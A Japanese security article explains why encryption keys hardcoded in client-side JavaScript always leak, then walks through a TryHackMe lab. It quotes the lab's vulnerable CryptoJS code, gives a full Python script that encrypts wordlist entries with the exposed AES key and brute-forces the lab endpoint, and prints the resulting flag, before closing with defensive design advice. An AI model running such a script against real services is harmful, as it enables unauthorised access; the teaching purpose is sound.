はじめに
Web アプリケーションのセキュリティにおいて、非常に多く見かける設計ミスのひとつが、
暗号鍵をクライアントサイド(JavaScript)に埋め込むこと
です。
開発者の意図は善意であることがほとんどです。
- 「通信内容を暗号化したい」
- 「API を直接叩かれたくない」
- 「平文をネットワークに流したくない」
しかし残念ながら、クライアントサイドに置かれた暗号鍵は、必ず攻撃者に取得されます。
これは技術力の問題ではなく、構造上の必然です。
なぜクライアントサイドの暗号鍵は必ず漏れるのか?
ブラウザは「攻撃者の支配下」にある
Web アプリケーションでは、以下がすべてユーザー側で可能です。
- JavaScript のソース閲覧
- DevTools(F12)でのコード解析
- Network タブでの通信内容確認
- 実行中 JavaScript のフック・改変
攻撃者と正規ユーザーは同じ実行環境を持つ
つまり、
クライアントにあるものは、
攻撃者も必ず持てる
という前提で設計しなければなりません。
暗号鍵を露出した場合の主なリスク
① 不正アクセス(Unauthorised Access)
暗号鍵が漏れると、攻撃者は以下が可能になります。
- 正規クライアントと同じ暗号処理を実行
- 正しい形式の暗号化リクエストを生成
- 認証済みユーザーになりすます
暗号化は認証を保証しない
② データ改ざん(Data Tampering)
クライアント側で暗号化・署名している場合、
- 攻撃者は任意のデータを暗号化
- 正当なリクエストとして送信
- サーバー側は改ざんを検知できない
「暗号できる=改ざんできる」状態
③ API の不正利用(API Abuse)
よくあるケース:
- JavaScript に API Key を直書き
- モバイルアプリに固定トークンを埋め込み
結果:
- API が誰からでも呼べる
- スクリプトによる大量アクセス
- 課金 API の悪用
API Key ≠ 認証
よくある暗号鍵露出パターン
❌ JavaScript にハードコードされた鍵
const encryptionKey = "1234567890123456";
- DevTools で即見える
- 難読化しても無意味
❌ フロントエンド暗号化ライブラリ
encrypt(message, SECRET_KEY);
- アルゴリズムも
- 鍵も
- すべて公開情報
これは「暗号」ではなく「エンコード」に近い
❌ 設定ファイル・環境変数の誤公開
config.jsenv.js- ビルド時に埋め込まれた
.env
攻撃者視点:なぜ突破できるのか?
攻撃者が知っている情報:
- 使用アルゴリズム(AES / RSA など)
- 暗号モード(CBC / ECB など)
- 暗号鍵
- 通信フォーマット(JSON / Base64)
つまり:
暗号処理を完全に再現できる
結果、攻撃者は:
- 自作スクリプトで暗号化
- 正規リクエストを大量生成
- サーバーを「正しく」騙す
実例:TryHackMe Lab
実験目的
JavaScriptで公開されたAESキーを悪用すると、フロントエンドの暗号化制限を回避でき、正しいメッセージをブルートフォース攻撃してフラグを取得できます。
観察ポイント1 ネットワークリクエスト
- メッセージ送信後:
- パラメータ
dataはBase64 - 明らかに暗号化された
- パラメータ
- 開発者は次のように誤解していました:
- 他人が理解できないなら安全だ
観察ポイント2 フロントエンドのソースーを見る
const encryptionKey = CryptoJS.enc.Utf8.parse("1234567890123456"); // 16-byte key
const iv = CryptoJS.lib.WordArray.random(16); // Random 16-byte IV
function encryptMessage(message) {
const encrypted = CryptoJS.AES.encrypt(message, encryptionKey, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7,
});
return {
ciphertext: encrypted.ciphertext.toString(CryptoJS.enc.Base64),
iv: iv.toString(CryptoJS.enc.Base64),
};
}
document.getElementById("secureForm").addEventListener("submit", async (e) => {
e.preventDefault();
const message = document.getElementById("message").value;
const { ciphertext, iv } = encryptMessage(message);
const response = await fetch("process.php", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ data: ciphertext, iv: iv }),
});
const result = await response.text();
document.getElementById("response").innerText = result;
});
JavaScriptで見つけた
const encryptionKey = CryptoJS.enc.Utf8.parse("1234567890123456"); // 16-byte key
ゲームオーバー
同じ暗号方式で Python から暗号化
先から得た
- メッセージは JavaScript で AES 暗号化
- 暗号鍵は JS 内にハードコード
- サーバーは復号して内容をチェック
前の条件
-
wordlist.txtがある pip3 install pycryptodome
攻撃の流れ
wordlist.txt
↓
AES-CBC 暗号化(フロントエンドのキーを使う)
↓
Base64 コーディング
↓
POST /process.php
↓
成功または失敗は応答に基づいて決定される
構築完成コード
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from pathlib import Path
# Configuration
url = "http://bcts.thm/labs/lab3/process.php"
encryption_key = b"1234567890123456" # Must be 16 bytes(smae as in the JavaScript)
BASE_DIR = Path(__file__).resolve().parent
wordlist_path = BASE_DIR / "wordlist.txt" # Path to the wordlist
def encrypt_message(message,iv):
# Pad the message to a multiple of the block size(16 bytes for AES)
padded_message= pad(message.encode(),AES.block_size)
# Encrypt using AES-CBC
cipher = AES.new(encryption_key,AES.MODE_CBC,iv)
ciphertext = cipher.encrypt(padded_message)
#encode ciphertext and IV n Base64 for transmission
return base64.b64encode(ciphertext).decode(),base64.b64encode(iv).decode()
# Function to send the payload
def send_payload(ciphertext,iv):
payload ={"data":ciphertext,"iv":iv}
response = requests.post(url,json=payload)
return response.text
# Main bruteforce function
def bruteforce():
with open(wordlist_path,"r") as f:
words =f.readlines()
for word in words:
word = word.strip()
print(f"Trying:{word}")
# Generate a random IV (16 bytes)
iv = AES.get_random_bytes(16)
# Encrypt the current word
ciphertext,iv_base64 =encrypt_message(word,iv)
# Send the payload to the server
response = send_payload(ciphertext,iv_base64)
print(f"Response:{response}")
# Check if the response indicates success
if "Access granted!" in response:
print(f"[+] Found the corret message:{word}")
break
if __name__ =="__main__":
bruteforce()
実験結果
Response:Message xsaokgsdreuk is invalid!
Trying:wdjdzzsx
Response:Message wdjdzzsx is invalid!
Trying:ankhzljjgu
Response:Access granted! Here's your flag: THM{3nD_2_3nd_is_n0t_c0mpl1c4ted}
[+] Found the corret message:ankhzljjgu
開発者がよく持つ誤解
| 誤解 | 現実 |
|---|---|
| 暗号化しているから安全 | 鍵が漏れたら終わり |
| JavaScript は見られない | 必ず見られる |
| 難読化すれば大丈夫 | 数分で解除可能 |
| 二重暗号なら安心 | 意味がない |
正しい設計指針
暗号鍵は必ずサーバー側に置く
- ブラウザに秘密を持たせない
- クライアントは「信用しない」
認証と暗号を混同しない
- 暗号化:機密性
- 認証:誰かを識別する
暗号鍵=認証情報ではない
HTTPS(TLS)を正しく使う
- パスワードや機密情報は TLS に任せる
- 独自暗号は基本不要
本当に必要なら E2EE を設計する
- 鍵はユーザー入力から派生
- サーバーは平文を知らない
- 暗号目的が「ログイン」ではないこと
まとめ
- クライアントサイドに置いた暗号鍵は必ず漏れる
- 暗号化しても攻撃者と同じ能力を与えているだけ
- 本当のセキュリティは信頼境界の設計にある
一言で言うと
「前端で暗号化しているから安全」は、
セキュリティ業界で最も多い勘違いのひとつ。
